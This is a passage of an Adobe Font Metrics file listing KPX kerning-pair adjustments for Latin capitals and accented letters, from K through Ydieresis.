KPX K Oslash -50
KPX K Otilde -50
KPX K e -35
KPX K eacute -35
KPX K ecaron -35
KPX K ecircumflex -35
KPX K edieresis -35
KPX K edotaccent -35
KPX K egrave -35
KPX K emacron -35
KPX K eogonek -35
KPX K o -40
KPX K oacute -40
KPX K ocircumflex -40
KPX K odieresis -40
KPX K ograve -40
KPX K ohungarumlaut -40
KPX K omacron -40
KPX K oslash -40
KPX K otilde -40
KPX K u -40
KPX K uacute -40
KPX K ucircumflex -40
KPX K udieresis -40
KPX K ugrave -40
KPX K uhungarumlaut -40
KPX K umacron -40
KPX K uogonek -40
KPX K uring -40
KPX K y -40
KPX K yacute -40
KPX K ydieresis -40
KPX Kcommaaccent O -50
KPX Kcommaaccent Oacute -50
KPX Kcommaaccent Ocircumflex -50
KPX Kcommaaccent Odieresis -50
KPX Kcommaaccent Ograve -50
KPX Kcommaaccent Ohungarumlaut -50
KPX Kcommaaccent Omacron -50
KPX Kcommaaccent Oslash -50
KPX Kcommaaccent Otilde -50
KPX Kcommaaccent e -35
KPX Kcommaaccent eacute -35
KPX Kcommaaccent ecaron -35
KPX Kcommaaccent ecircumflex -35
KPX Kcommaaccent edieresis -35
KPX Kcommaaccent edotaccent -35
KPX Kcommaaccent egrave -35
KPX Kcommaaccent emacron -35
KPX Kcommaaccent eogonek -35
KPX Kcommaaccent o -40
KPX Kcommaaccent oacute -40
KPX Kcommaaccent ocircumflex -40
KPX Kcommaaccent odieresis -40
KPX Kcommaaccent ograve -40
KPX Kcommaaccent ohungarumlaut -40
KPX Kcommaaccent omacron -40
KPX Kcommaaccent oslash -40
KPX Kcommaaccent otilde -40
KPX Kcommaaccent u -40
KPX Kcommaaccent uacute -40
KPX Kcommaaccent ucircumflex -40
KPX Kcommaaccent udieresis -40
KPX Kcommaaccent ugrave -40
KPX Kcommaaccent uhungarumlaut -40
KPX Kcommaaccent umacron -40
KPX Kcommaaccent uogonek -40
KPX Kcommaaccent uring -40
KPX Kcommaaccent y -40
KPX Kcommaaccent yacute -40
KPX Kcommaaccent ydieresis -40
KPX L T -20
KPX L Tcaron -20
KPX L Tcommaaccent -20
KPX L V -55
KPX L W -55
KPX L Y -20
KPX L Yacute -20
KPX L Ydieresis -20
KPX L quoteright -37
KPX L y -30
KPX L yacute -30
KPX L ydieresis -30
KPX Lacute T -20
KPX Lacute Tcaron -20
KPX Lacute Tcommaaccent -20
KPX Lacute V -55
KPX Lacute W -55
KPX Lacute Y -20
KPX Lacute Yacute -20
KPX Lacute Ydieresis -20
KPX Lacute quoteright -37
KPX Lacute y -30
KPX Lacute yacute -30
KPX Lacute ydieresis -30
KPX Lcommaaccent T -20
KPX Lcommaaccent Tcaron -20
KPX Lcommaaccent Tcommaaccent -20
KPX Lcommaaccent V -55
KPX Lcommaaccent W -55
KPX Lcommaaccent Y -20
KPX Lcommaaccent Yacute -20
KPX Lcommaaccent Ydieresis -20
KPX Lcommaaccent quoteright -37
KPX Lcommaaccent y -30
KPX Lcommaaccent yacute -30
KPX Lcommaaccent ydieresis -30
KPX Lslash T -20
KPX Lslash Tcaron -20
KPX Lslash Tcommaaccent -20
KPX Lslash V -55
KPX Lslash W -55
KPX Lslash Y -20
KPX Lslash Yacute -20
KPX Lslash Ydieresis -20
KPX Lslash quoteright -37
KPX Lslash y -30
KPX Lslash yacute -30
KPX Lslash ydieresis -30
KPX N A -27
KPX N Aacute -27
KPX N Abreve -27
KPX N Acircumflex -27
KPX N Adieresis -27
KPX N Agrave -27
KPX N Amacron -27
KPX N Aogonek -27
KPX N Aring -27
KPX N Atilde -27
KPX Nacute A -27
KPX Nacute Aacute -27
KPX Nacute Abreve -27
KPX Nacute Acircumflex -27
KPX Nacute Adieresis -27
KPX Nacute Agrave -27
KPX Nacute Amacron -27
KPX Nacute Aogonek -27
KPX Nacute Aring -27
KPX Nacute Atilde -27
KPX Ncaron A -27
KPX Ncaron Aacute -27
KPX Ncaron Abreve -27
KPX Ncaron Acircumflex -27
KPX Ncaron Adieresis -27
KPX Ncaron Agrave -27
KPX Ncaron Amacron -27
KPX Ncaron Aogonek -27
KPX Ncaron Aring -27
KPX Ncaron Atilde -27
KPX Ncommaaccent A -27
KPX Ncommaaccent Aacute -27
KPX Ncommaaccent Abreve -27
KPX Ncommaaccent Acircumflex -27
KPX Ncommaaccent Adieresis -27
KPX Ncommaaccent Agrave -27
KPX Ncommaaccent Amacron -27
KPX Ncommaaccent Aogonek -27
KPX Ncommaaccent Aring -27
KPX Ncommaaccent Atilde -27
KPX Ntilde A -27
KPX Ntilde Aacute -27
KPX Ntilde Abreve -27
KPX Ntilde Acircumflex -27
KPX Ntilde Adieresis -27
KPX Ntilde Agrave -27
KPX Ntilde Amacron -27
KPX Ntilde Aogonek -27
KPX Ntilde Aring -27
KPX Ntilde Atilde -27
KPX O A -55
KPX O Aacute -55
KPX O Abreve -55
KPX O Acircumflex -55
KPX O Adieresis -55
KPX O Agrave -55
KPX O Amacron -55
KPX O Aogonek -55
KPX O Aring -55
KPX O Atilde -55
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -50
KPX O X -40
KPX O Y -50
KPX O Yacute -50
KPX O Ydieresis -50
KPX Oacute A -55
KPX Oacute Aacute -55
KPX Oacute Abreve -55
KPX Oacute Acircumflex -55
KPX Oacute Adieresis -55
KPX Oacute Agrave -55
KPX Oacute Amacron -55
KPX Oacute Aogonek -55
KPX Oacute Aring -55
KPX Oacute Atilde -55
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -50
KPX Oacute X -40
KPX Oacute Y -50
KPX Oacute Yacute -50
KPX Oacute Ydieresis -50
KPX Ocircumflex A -55
KPX Ocircumflex Aacute -55
KPX Ocircumflex Abreve -55
KPX Ocircumflex Acircumflex -55
KPX Ocircumflex Adieresis -55
KPX Ocircumflex Agrave -55
KPX Ocircumflex Amacron -55
KPX Ocircumflex Aogonek -55
KPX Ocircumflex Aring -55
KPX Ocircumflex Atilde -55
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -50
KPX Ocircumflex X -40
KPX Ocircumflex Y -50
KPX Ocircumflex Yacute -50
KPX Ocircumflex Ydieresis -50
KPX Odieresis A -55
KPX Odieresis Aacute -55
KPX Odieresis Abreve -55
KPX Odieresis Acircumflex -55
KPX Odieresis Adieresis -55
KPX Odieresis Agrave -55
KPX Odieresis Amacron -55
KPX Odieresis Aogonek -55
KPX Odieresis Aring -55
KPX Odieresis Atilde -55
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -50
KPX Odieresis X -40
KPX Odieresis Y -50
KPX Odieresis Yacute -50
KPX Odieresis Ydieresis -50
KPX Ograve A -55
KPX Ograve Aacute -55
KPX Ograve Abreve -55
KPX Ograve Acircumflex -55
KPX Ograve Adieresis -55
KPX Ograve Agrave -55
KPX Ograve Amacron -55
KPX Ograve Aogonek -55
KPX Ograve Aring -55
KPX Ograve Atilde -55
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -50
KPX Ograve X -40
KPX Ograve Y -50
KPX Ograve Yacute -50
KPX Ograve Ydieresis -50
KPX Ohungarumlaut A -55
KPX Ohungarumlaut Aacute -55
KPX Ohungarumlaut Abreve -55
KPX Ohungarumlaut Acircumflex -55
KPX Ohungarumlaut Adieresis -55
KPX Ohungarumlaut Agrave -55
KPX Ohungarumlaut Amacron -55
KPX Ohungarumlaut Aogonek -55
KPX Ohungarumlaut Aring -55
KPX Ohungarumlaut Atilde -55
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -50
KPX Ohungarumlaut X -40
KPX Ohungarumlaut Y -50
KPX Ohungarumlaut Yacute -50
KPX Ohungarumlaut Ydieresis -50
KPX Omacron A -55
KPX Omacron Aacute -55
KPX Omacron Abreve -55
KPX Omacron Acircumflex -55
KPX Omacron Adieresis -55
KPX Omacron Agrave -55
KPX Omacron Amacron -55
KPX Omacron Aogonek -55
KPX Omacron Aring -55
KPX Omacron Atilde -55
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -50
KPX Omacron X -40
KPX Omacron Y -50
KPX Omacron Yacute -50
KPX Omacron Ydieresis -50
KPX Oslash A -55
KPX Oslash Aacute -55
KPX Oslash Abreve -55
KPX Oslash Acircumflex -55
KPX Oslash Adieresis -55
KPX Oslash Agrave -55
KPX Oslash Amacron -55
KPX Oslash Aogonek -55
KPX Oslash Aring -55
KPX Oslash Atilde -55
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -50
KPX Oslash X -40
KPX Oslash Y -50
KPX Oslash Yacute -50
KPX Oslash Ydieresis -50
KPX Otilde A -55
KPX Otilde Aacute -55
KPX Otilde Abreve -55
KPX Otilde Acircumflex -55
KPX Otilde Adieresis -55
KPX Otilde Agrave -55
KPX Otilde Amacron -55
KPX Otilde Aogonek -55
KPX Otilde Aring -55
KPX Otilde Atilde -55
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -50
KPX Otilde X -40
KPX Otilde Y -50
KPX Otilde Yacute -50
KPX Otilde Ydieresis -50
KPX P A -90
KPX P Aacute -90
KPX P Abreve -90
KPX P Acircumflex -90
KPX P Adieresis -90
KPX P Agrave -90
KPX P Amacron -90
KPX P Aogonek -90
KPX P Aring -90
KPX P Atilde -90
KPX P a -80
KPX P aacute -80
KPX P abreve -80
KPX P acircumflex -80
KPX P adieresis -80
KPX P agrave -80
KPX P amacron -80
KPX P aogonek -80
KPX P aring -80
KPX P atilde -80
KPX P comma -135
KPX P e -80
KPX P eacute -80
KPX P ecaron -80
KPX P ecircumflex -80
KPX P edieresis -80
KPX P edotaccent -80
KPX P egrave -80
KPX P emacron -80
KPX P eogonek -80
KPX P o -80
KPX P oacute -80
KPX P ocircumflex -80
KPX P odieresis -80
KPX P ograve -80
KPX P ohungarumlaut -80
KPX P omacron -80
KPX P oslash -80
KPX P otilde -80
KPX P period -135
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX R O -40
KPX R Oacute -40
KPX R Ocircumflex -40
KPX R Odieresis -40
KPX R Ograve -40
KPX R Ohungarumlaut -40
KPX R Omacron -40
KPX R Oslash -40
KPX R Otilde -40
KPX R U -40
KPX R Uacute -40
KPX R Ucircumflex -40
KPX R Udieresis -40
KPX R Ugrave -40
KPX R Uhungarumlaut -40
KPX R Umacron -40
KPX R Uogonek -40
KPX R Uring -40
KPX R V -18
KPX R W -18
KPX R Y -18
KPX R Yacute -18
KPX R Ydieresis -18
KPX Racute O -40
KPX Racute Oacute -40
KPX Racute Ocircumflex -40
KPX Racute Odieresis -40
KPX Racute Ograve -40
KPX Racute Ohungarumlaut -40
KPX Racute Omacron -40
KPX Racute Oslash -40
KPX Racute Otilde -40
KPX Racute U -40
KPX Racute Uacute -40
KPX Racute Ucircumflex -40
KPX Racute Udieresis -40
KPX Racute Ugrave -40
KPX Racute Uhungarumlaut -40
KPX Racute Umacron -40
KPX Racute Uogonek -40
KPX Racute Uring -40
KPX Racute V -18
KPX Racute W -18
KPX Racute Y -18
KPX Racute Yacute -18
KPX Racute Ydieresis -18
KPX Rcaron O -40
KPX Rcaron Oacute -40
KPX Rcaron Ocircumflex -40
KPX Rcaron Odieresis -40
KPX Rcaron Ograve -40
KPX Rcaron Ohungarumlaut -40
KPX Rcaron Omacron -40
KPX Rcaron Oslash -40
KPX Rcaron Otilde -40
KPX Rcaron U -40
KPX Rcaron Uacute -40
KPX Rcaron Ucircumflex -40
KPX Rcaron Udieresis -40
KPX Rcaron Ugrave -40
KPX Rcaron Uhungarumlaut -40
KPX Rcaron Umacron -40
KPX Rcaron Uogonek -40
KPX Rcaron Uring -40
KPX Rcaron V -18
KPX Rcaron W -18
KPX Rcaron Y -18
KPX Rcaron Yacute -18
KPX Rcaron Ydieresis -18
KPX Rcommaaccent O -40
KPX Rcommaaccent Oacute -40
KPX Rcommaaccent Ocircumflex -40
KPX Rcommaaccent Odieresis -40
KPX Rcommaaccent Ograve -40
KPX Rcommaaccent Ohungarumlaut -40
KPX Rcommaaccent Omacron -40
KPX Rcommaaccent Oslash -40
KPX Rcommaaccent Otilde -40
KPX Rcommaaccent U -40
KPX Rcommaaccent Uacute -40
KPX Rcommaaccent Ucircumflex -40
KPX Rcommaaccent Udieresis -40
KPX Rcommaaccent Ugrave -40
KPX Rcommaaccent Uhungarumlaut -40
KPX Rcommaaccent Umacron -40
KPX Rcommaaccent Uogonek -40
KPX Rcommaaccent Uring -40
KPX Rcommaaccent V -18
KPX Rcommaaccent W -18
KPX Rcommaaccent Y -18
KPX Rcommaaccent Yacute -18
KPX Rcommaaccent Ydieresis -18
KPX T A -50
KPX T Aacute -50
KPX T Abreve -50
KPX T Acircumflex -50
KPX T Adieresis -50
KPX T Agrave -50
KPX T Amacron -50
KPX T Aogonek -50
KPX T Aring -50
KPX T Atilde -50
KPX T O -18
KPX T Oacute -18
KPX T Ocircumflex -18
KPX T Odieresis -18
KPX T Ograve -18
KPX T Ohungarumlaut -18
KPX T Omacron -18
KPX T Oslash -18
KPX T Otilde -18
KPX T a -92
KPX T aacute -92
KPX T abreve -92
KPX T acircumflex -92
KPX T adieresis -92
KPX T agrave -92
KPX T amacron -92
KPX T aogonek -92
KPX T aring -92
KPX T atilde -92
KPX T colon -55
KPX T comma -74
KPX T e -92
KPX T eacute -92
KPX T ecaron -92
KPX T ecircumflex -52
KPX T edieresis -52
KPX T edotaccent -92
KPX T egrave -52
KPX T emacron -52
KPX T eogonek -92
KPX T hyphen -74
KPX T i -55
KPX T iacute -55
KPX T iogonek -55
KPX T o -92
KPX T oacute -92
KPX T ocircumflex -92
KPX T odieresis -92
KPX T ograve -92
KPX T ohungarumlaut -92
KPX T omacron -92
KPX T oslash -92
KPX T otilde -92
KPX T period -74
KPX T r -55
KPX T racute -55
KPX T rcaron -55
KPX T rcommaaccent -55
KPX T semicolon -65
KPX T u -55
KPX T uacute -55
KPX T ucircumflex -55
KPX T udieresis -55
KPX T ugrave -55
KPX T uhungarumlaut -55
KPX T umacron -55
KPX T uogonek -55
KPX T uring -55
KPX T w -74
KPX T y -74
KPX T yacute -74
KPX T ydieresis -34
KPX Tcaron A -50
KPX Tcaron Aacute -50
KPX Tcaron Abreve -50
KPX Tcaron Acircumflex -50
KPX Tcaron Adieresis -50
KPX Tcaron Agrave -50
KPX Tcaron Amacron -50
KPX Tcaron Aogonek -50
KPX Tcaron Aring -50
KPX Tcaron Atilde -50
KPX Tcaron O -18
KPX Tcaron Oacute -18
KPX Tcaron Ocircumflex -18
KPX Tcaron Odieresis -18
KPX Tcaron Ograve -18
KPX Tcaron Ohungarumlaut -18
KPX Tcaron Omacron -18
KPX Tcaron Oslash -18
KPX Tcaron Otilde -18
KPX Tcaron a -92
KPX Tcaron aacute -92
KPX Tcaron abreve -92
KPX Tcaron acircumflex -92
KPX Tcaron adieresis -92
KPX Tcaron agrave -92
KPX Tcaron amacron -92
KPX Tcaron aogonek -92
KPX Tcaron aring -92
KPX Tcaron atilde -92
KPX Tcaron colon -55
KPX Tcaron comma -74
KPX Tcaron e -92
KPX Tcaron eacute -92
KPX Tcaron ecaron -92
KPX Tcaron ecircumflex -52
KPX Tcaron edieresis -52
KPX Tcaron edotaccent -92
KPX Tcaron egrave -52
KPX Tcaron emacron -52
KPX Tcaron eogonek -92
KPX Tcaron hyphen -74
KPX Tcaron i -55
KPX Tcaron iacute -55
KPX Tcaron iogonek -55
KPX Tcaron o -92
KPX Tcaron oacute -92
KPX Tcaron ocircumflex -92
KPX Tcaron odieresis -92
KPX Tcaron ograve -92
KPX Tcaron ohungarumlaut -92
KPX Tcaron omacron -92
KPX Tcaron oslash -92
KPX Tcaron otilde -92
KPX Tcaron period -74
KPX Tcaron r -55
KPX Tcaron racute -55
KPX Tcaron rcaron -55
KPX Tcaron rcommaaccent -55
KPX Tcaron semicolon -65
KPX Tcaron u -55
KPX Tcaron uacute -55
KPX Tcaron ucircumflex -55
KPX Tcaron udieresis -55
KPX Tcaron ugrave -55
KPX Tcaron uhungarumlaut -55
KPX Tcaron umacron -55
KPX Tcaron uogonek -55
KPX Tcaron uring -55
KPX Tcaron w -74
KPX Tcaron y -74
KPX Tcaron yacute -74
KPX Tcaron ydieresis -34
KPX Tcommaaccent A -50
KPX Tcommaaccent Aacute -50
KPX Tcommaaccent Abreve -50
KPX Tcommaaccent Acircumflex -50
KPX Tcommaaccent Adieresis -50
KPX Tcommaaccent Agrave -50
KPX Tcommaaccent Amacron -50
KPX Tcommaaccent Aogonek -50
KPX Tcommaaccent Aring -50
KPX Tcommaaccent Atilde -50
KPX Tcommaaccent O -18
KPX Tcommaaccent Oacute -18
KPX Tcommaaccent Ocircumflex -18
KPX Tcommaaccent Odieresis -18
KPX Tcommaaccent Ograve -18
KPX Tcommaaccent Ohungarumlaut -18
KPX Tcommaaccent Omacron -18
KPX Tcommaaccent Oslash -18
KPX Tcommaaccent Otilde -18
KPX Tcommaaccent a -92
KPX Tcommaaccent aacute -92
KPX Tcommaaccent abreve -92
KPX Tcommaaccent acircumflex -92
KPX Tcommaaccent adieresis -92
KPX Tcommaaccent agrave -92
KPX Tcommaaccent amacron -92
KPX Tcommaaccent aogonek -92
KPX Tcommaaccent aring -92
KPX Tcommaaccent atilde -92
KPX Tcommaaccent colon -55
KPX Tcommaaccent comma -74
KPX Tcommaaccent e -92
KPX Tcommaaccent eacute -92
KPX Tcommaaccent ecaron -92
KPX Tcommaaccent ecircumflex -52
KPX Tcommaaccent edieresis -52
KPX Tcommaaccent edotaccent -92
KPX Tcommaaccent egrave -52
KPX Tcommaaccent emacron -52
KPX Tcommaaccent eogonek -92
KPX Tcommaaccent hyphen -74
KPX Tcommaaccent i -55
KPX Tcommaaccent iacute -55
KPX Tcommaaccent iogonek -55
KPX Tcommaaccent o -92
KPX Tcommaaccent oacute -92
KPX Tcommaaccent ocircumflex -92
KPX Tcommaaccent odieresis -92
KPX Tcommaaccent ograve -92
KPX Tcommaaccent ohungarumlaut -92
KPX Tcommaaccent omacron -92
KPX Tcommaaccent oslash -92
KPX Tcommaaccent otilde -92
KPX Tcommaaccent period -74
KPX Tcommaaccent r -55
KPX Tcommaaccent racute -55
KPX Tcommaaccent rcaron -55
KPX Tcommaaccent rcommaaccent -55
KPX Tcommaaccent semicolon -65
KPX Tcommaaccent u -55
KPX Tcommaaccent uacute -55
KPX Tcommaaccent ucircumflex -55
KPX Tcommaaccent udieresis -55
KPX Tcommaaccent ugrave -55
KPX Tcommaaccent uhungarumlaut -55
KPX Tcommaaccent umacron -55
KPX Tcommaaccent uogonek -55
KPX Tcommaaccent uring -55
KPX Tcommaaccent w -74
KPX Tcommaaccent y -74
KPX Tcommaaccent yacute -74
KPX Tcommaaccent ydieresis -34
KPX U A -40
KPX U Aacute -40
KPX U Abreve -40
KPX U Acircumflex -40
KPX U Adieresis -40
KPX U Agrave -40
KPX U Amacron -40
KPX U Aogonek -40
KPX U Aring -40
KPX U Atilde -40
KPX U comma -25
KPX U period -25
KPX Uacute A -40
KPX Uacute Aacute -40
KPX Uacute Abreve -40
KPX Uacute Acircumflex -40
KPX Uacute Adieresis -40
KPX Uacute Agrave -40
KPX Uacute Amacron -40
KPX Uacute Aogonek -40
KPX Uacute Aring -40
KPX Uacute Atilde -40
KPX Uacute comma -25
KPX Uacute period -25
KPX Ucircumflex A -40
KPX Ucircumflex Aacute -40
KPX Ucircumflex Abreve -40
KPX Ucircumflex Acircumflex -40
KPX Ucircumflex Adieresis -40
KPX Ucircumflex Agrave -40
KPX Ucircumflex Amacron -40
KPX Ucircumflex Aogonek -40
KPX Ucircumflex Aring -40
KPX Ucircumflex Atilde -40
KPX Ucircumflex comma -25
KPX Ucircumflex period -25
KPX Udieresis A -40
KPX Udieresis Aacute -40
KPX Udieresis Abreve -40
KPX Udieresis Acircumflex -40
KPX Udieresis Adieresis -40
KPX Udieresis Agrave -40
KPX Udieresis Amacron -40
KPX Udieresis Aogonek -40
KPX Udieresis Aring -40
KPX Udieresis Atilde -40
KPX Udieresis comma -25
KPX Udieresis period -25
KPX Ugrave A -40
KPX Ugrave Aacute -40
KPX Ugrave Abreve -40
KPX Ugrave Acircumflex -40
KPX Ugrave Adieresis -40
KPX Ugrave Agrave -40
KPX Ugrave Amacron -40
KPX Ugrave Aogonek -40
KPX Ugrave Aring -40
KPX Ugrave Atilde -40
KPX Ugrave comma -25
KPX Ugrave period -25
KPX Uhungarumlaut A -40
KPX Uhungarumlaut Aacute -40
KPX Uhungarumlaut Abreve -40
KPX Uhungarumlaut Acircumflex -40
KPX Uhungarumlaut Adieresis -40
KPX Uhungarumlaut Agrave -40
KPX Uhungarumlaut Amacron -40
KPX Uhungarumlaut Aogonek -40
KPX Uhungarumlaut Aring -40
KPX Uhungarumlaut Atilde -40
KPX Uhungarumlaut comma -25
KPX Uhungarumlaut period -25
KPX Umacron A -40
KPX Umacron Aacute -40
KPX Umacron Abreve -40
KPX Umacron Acircumflex -40
KPX Umacron Adieresis -40
KPX Umacron Agrave -40
KPX Umacron Amacron -40
KPX Umacron Aogonek -40
KPX Umacron Aring -40
KPX Umacron Atilde -40
KPX Umacron comma -25
KPX Umacron period -25
KPX Uogonek A -40
KPX Uogonek Aacute -40
KPX Uogonek Abreve -40
KPX Uogonek Acircumflex -40
KPX Uogonek Adieresis -40
KPX Uogonek Agrave -40
KPX Uogonek Amacron -40
KPX Uogonek Aogonek -40
KPX Uogonek Aring -40
KPX Uogonek Atilde -40
KPX Uogonek comma -25
KPX Uogonek period -25
KPX Uring A -40
KPX Uring Aacute -40
KPX Uring Abreve -40
KPX Uring Acircumflex -40
KPX Uring Adieresis -40
KPX Uring Agrave -40
KPX Uring Amacron -40
KPX Uring Aogonek -40
KPX Uring Aring -40
KPX Uring Atilde -40
KPX Uring comma -25
KPX Uring period -25
KPX V A -60
KPX V Aacute -60
KPX V Abreve -60
KPX V Acircumflex -60
KPX V Adieresis -60
KPX V Agrave -60
KPX V Amacron -60
KPX V Aogonek -60
KPX V Aring -60
KPX V Atilde -60
KPX V O -30
KPX V Oacute -30
KPX V Ocircumflex -30
KPX V Odieresis -30
KPX V Ograve -30
KPX V Ohungarumlaut -30
KPX V Omacron -30
KPX V Oslash -30
KPX V Otilde -30
KPX V a -111
KPX V aacute -111
KPX V abreve -111
KPX V acircumflex -111
KPX V adieresis -111
KPX V agrave -111
KPX V amacron -111
KPX V aogonek -111
KPX V aring -111
KPX V atilde -111
KPX V colon -65
KPX V comma -129
KPX V e -111
KPX V eacute -111
KPX V ecaron -111
KPX V ecircumflex -111
KPX V edieresis -71
KPX V edotaccent -111
KPX V egrave -71
KPX V emacron -71
KPX V eogonek -111
KPX V hyphen -55
KPX V i -74
KPX V iacute -74
KPX V icircumflex -34
KPX V idieresis -34
KPX V igrave -34
KPX V imacron -34
KPX V iogonek -74
KPX V o -111
KPX V oacute -111
KPX V ocircumflex -111
KPX V odieresis -111
KPX V ograve -111
KPX V ohungarumlaut -111
KPX V omacron -111
KPX V oslash -111
KPX V otilde -111
KPX V period -129
KPX V semicolon -74
KPX V u -74
KPX V uacute -74
KPX V ucircumflex -74
KPX V udieresis -74
KPX V ugrave -74
KPX V uhungarumlaut -74
KPX V umacron -74
KPX V uogonek -74
KPX V uring -74
KPX W A -60
KPX W Aacute -60
KPX W Abreve -60
KPX W Acircumflex -60
KPX W Adieresis -60
KPX W Agrave -60
KPX W Amacron -60
KPX W Aogonek -60
KPX W Aring -60
KPX W Atilde -60
KPX W O -25
KPX W Oacute -25
KPX W Ocircumflex -25
KPX W Odieresis -25
KPX W Ograve -25
KPX W Ohungarumlaut -25
KPX W Omacron -25
KPX W Oslash -25
KPX W Otilde -25
KPX W a -92
KPX W aacute -92
KPX W abreve -92
KPX W acircumflex -92
KPX W adieresis -92
KPX W agrave -92
KPX W amacron -92
KPX W aogonek -92
KPX W aring -92
KPX W atilde -92
KPX W colon -65
KPX W comma -92
KPX W e -92
KPX W eacute -92
KPX W ecaron -92
KPX W ecircumflex -92
KPX W edieresis -52
KPX W edotaccent -92
KPX W egrave -52
KPX W emacron -52
KPX W eogonek -92
KPX W hyphen -37
KPX W i -55
KPX W iacute -55
KPX W iogonek -55
KPX W o -92
KPX W oacute -92
KPX W ocircumflex -92
KPX W odieresis -92
KPX W ograve -92
KPX W ohungarumlaut -92
KPX W omacron -92
KPX W oslash -92
KPX W otilde -92
KPX W period -92
KPX W semicolon -65
KPX W u -55
KPX W uacute -55
KPX W ucircumflex -55
KPX W udieresis -55
KPX W ugrave -55
KPX W uhungarumlaut -55
KPX W umacron -55
KPX W uogonek -55
KPX W uring -55
KPX W y -70
KPX W yacute -70
KPX W ydieresis -70
KPX Y A -50
KPX Y Aacute -50
KPX Y Abreve -50
KPX Y Acircumflex -50
KPX Y Adieresis -50
KPX Y Agrave -50
KPX Y Amacron -50
KPX Y Aogonek -50
KPX Y Aring -50
KPX Y Atilde -50
KPX Y O -15
KPX Y Oacute -15
KPX Y Ocircumflex -15
KPX Y Odieresis -15
KPX Y Ograve -15
KPX Y Ohungarumlaut -15
KPX Y Omacron -15
KPX Y Oslash -15
KPX Y Otilde -15
KPX Y a -92
KPX Y aacute -92
KPX Y abreve -92
KPX Y acircumflex -92
KPX Y adieresis -92
KPX Y agrave -92
KPX Y amacron -92
KPX Y aogonek -92
KPX Y aring -92
KPX Y atilde -92
KPX Y colon -65
KPX Y comma -92
KPX Y e -92
KPX Y eacute -92
KPX Y ecaron -92
KPX Y ecircumflex -92
KPX Y edieresis -52
KPX Y edotaccent -92
KPX Y egrave -52
KPX Y emacron -52
KPX Y eogonek -92
KPX Y hyphen -74
KPX Y i -74
KPX Y iacute -74
KPX Y icircumflex -34
KPX Y idieresis -34
KPX Y igrave -34
KPX Y imacron -34
KPX Y iogonek -74
KPX Y o -92
KPX Y oacute -92
KPX Y ocircumflex -92
KPX Y odieresis -92
KPX Y ograve -92
KPX Y ohungarumlaut -92
KPX Y omacron -92
KPX Y oslash -92
KPX Y otilde -92
KPX Y period -92
KPX Y semicolon -65
KPX Y u -92
KPX Y uacute -92
KPX Y ucircumflex -92
KPX Y udieresis -92
KPX Y ugrave -92
KPX Y uhungarumlaut -92
KPX Y umacron -92
KPX Y uogonek -92
KPX Y uring -92
KPX Yacute A -50
KPX Yacute Aacute -50
KPX Yacute Abreve -50
KPX Yacute Acircumflex -50
KPX Yacute Adieresis -50
KPX Yacute Agrave -50
KPX Yacute Amacron -50
KPX Yacute Aogonek -50
KPX Yacute Aring -50
KPX Yacute Atilde -50
KPX Yacute O -15
KPX Yacute Oacute -15
KPX Yacute Ocircumflex -15
KPX Yacute Odieresis -15
KPX Yacute Ograve -15
KPX Yacute Ohungarumlaut -15
KPX Yacute Omacron -15
KPX Yacute Oslash -15
KPX Yacute Otilde -15
KPX Yacute a -92
KPX Yacute aacute -92
KPX Yacute abreve -92
KPX Yacute acircumflex -92
KPX Yacute adieresis -92
KPX Yacute agrave -92
KPX Yacute amacron -92
KPX Yacute aogonek -92
KPX Yacute aring -92
KPX Yacute atilde -92
KPX Yacute colon -65
KPX Yacute comma -92
KPX Yacute e -92
KPX Yacute eacute -92
KPX Yacute ecaron -92
KPX Yacute ecircumflex -92
KPX Yacute edieresis -52
KPX Yacute edotaccent -92
KPX Yacute egrave -52
KPX Yacute emacron -52
KPX Yacute eogonek -92
KPX Yacute hyphen -74
KPX Yacute i -74
KPX Yacute iacute -74
KPX Yacute icircumflex -34
KPX Yacute idieresis -34
KPX Yacute igrave -34
KPX Yacute imacron -34
KPX Yacute iogonek -74
KPX Yacute o -92
KPX Yacute oacute -92
KPX Yacute ocircumflex -92
KPX Yacute odieresis -92
KPX Yacute ograve -92
KPX Yacute ohungarumlaut -92
KPX Yacute omacron -92
KPX Yacute oslash -92
KPX Yacute otilde -92
KPX Yacute period -92
KPX Yacute semicolon -65
KPX Yacute u -92
KPX Yacute uacute -92
KPX Yacute ucircumflex -92
KPX Yacute udieresis -92
KPX Yacute ugrave -92
KPX Yacute uhungarumlaut -92
KPX Yacute umacron -92
KPX Yacute uogonek -92
KPX Yacute uring -92
KPX Ydieresis A -50
KPX Ydieresis Aacute -50
KPX Ydieresis Abreve -50
KPX Ydieresis Acircumflex -50
KPX Ydieresis Adieresis -50
KPX Ydieresis Agrave -50
KPX Ydieresis Amacron -50
KPX Ydieresis Aogonek -50
KPX Ydieresis Aring -50
KPX Ydieresis Atilde -50
KPX Ydieresis O -15
KPX Ydieresis Oacute -15
KPX Ydieresis Ocircumflex -15
KPX Ydieresis Odieresis -15
KPX Ydieresis Ograve -15
KPX Ydieresis Ohungarumlaut -15
KPX Ydieresis Omacron -15
KPX Ydieresis Oslash -15
KPX Ydieresis Otilde -15
KPX Ydieresis a -92
KPX Ydieresis aacute -92
KPX Ydieresis abreve -92
KPX Ydieresis acircumflex -92
KPX Ydieresis adieresis -92
KPX Ydieresis agrave -92
KPX Ydieresis amacron -92
KPX Ydieresis aogonek -92
KPX Ydieresis aring -92
